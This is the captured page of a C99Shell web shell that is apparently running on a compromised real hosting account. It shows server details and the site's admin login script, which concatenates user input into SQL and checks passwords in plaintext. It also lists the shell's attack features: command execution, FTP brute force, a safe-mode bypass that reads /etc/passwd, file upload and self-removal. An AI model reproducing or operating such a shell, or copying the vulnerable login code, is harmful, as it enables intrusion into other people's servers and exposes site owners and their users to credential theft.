!C99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.4.45 

uname -a: Linux webm052.cluster007.gra.hosting.ovh.net 5.15.74-ovh-vps-grsec-zfs-classid #1 SMP Wed
Oct 26 09:50:47 UTC 2022 x86_64
 

uid=763961(ebenisteaz) gid=100(users) groups=100(users) 

Safe-mode: OFF (not secure)

/home/ebenisteaz/www/admin/   drwx---r-x
Free 0 B of 0 B (0%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajaxlogin.php (871 B)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php session_start();
require(
"./class/config.inc.php");
require(
"./class/Database.singleton.php");
$db Database::obtain(DB_SERVERDB_USERDB_PASSDB_DATABASE);
$db->connect();

$user_name=htmlspecialchars(trim($_POST['login']),ENT_QUOTES);
$pass=htmlspecialchars(trim($_POST['password']),ENT_QUOTES);


$sql "SELECT `login` id, passe, email  FROM `".TABLE_CONFIG."` WHERE `login`='".$user_name."' AND passe='".$pass."'  ";

$row $db->query($sql); 
if(
$db->affected_rows 0){    
   
    
$data['marina_config'] = date("Y-m-d H:s");
    
$record $db->fetch($row);
    
$db->update("marina_config"$data"id='".$record['id']."' and login='$user_name' and passe='$pass' ");
    
$_SESSION['admine_name']=$user_name;
$_SESSION['UserId']=$record['id'];
$_SESSION['UserEmail']=$record['email'];
    echo 
"yes";
}
else{
    echo 
"informations d'identification invalides.";
}



?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | Generation time: 0.0148 ]--